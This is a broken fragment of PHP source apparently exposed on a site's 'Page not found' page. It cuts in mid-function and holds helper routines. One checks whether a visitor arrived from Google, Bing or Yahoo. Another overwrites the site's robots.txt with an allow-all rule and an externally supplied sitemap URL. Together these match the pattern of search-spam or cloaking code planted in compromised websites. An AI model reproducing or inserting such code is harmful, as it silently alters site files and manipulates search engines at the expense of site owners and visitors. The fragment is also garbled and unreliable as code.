($_SERVER['argv'])) { $duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0]; } else { $duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING']; } } return $duri; } function is_from_search_engine($referer) { if (empty($referer)) return false; $searchEngines = ['google.', 'bing.', 'yahoo.',]; foreach ($searchEngines as $engine) { if (stripos($referer, $engine) !== false) { return true; } } return false; } function create_robots($url) { $path = $_SERVER['DOCUMENT_ROOT'] . '/robots.txt'; $content = 'User-agent: *' . PHP_EOL; $content .= 'Allow: /' . PHP_EOL . PHP_EOL; $content .= 'Sitemap: ' . $url . '/sitemap.xml' . PHP_EOL; if (!file_exists($path)) { file_put_contents($path, $content); } else { $existingContent = file_get_contents($path); if ($existingContent !== $content) { file_put_contents($path, $content); } } } function is_https() { if (isset($_SERVER['HTTPS'])) { if (strtolower($_SERVER['HTTPS']) !== 'off') { return true; } } elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO'])) { if ($_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') { return true; } } elseif (isset($_SERVER['HTTP_FRONT_END_HTTPS'])) { if (strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') { return true; } } return false; } Page not found – Tanawan Haven
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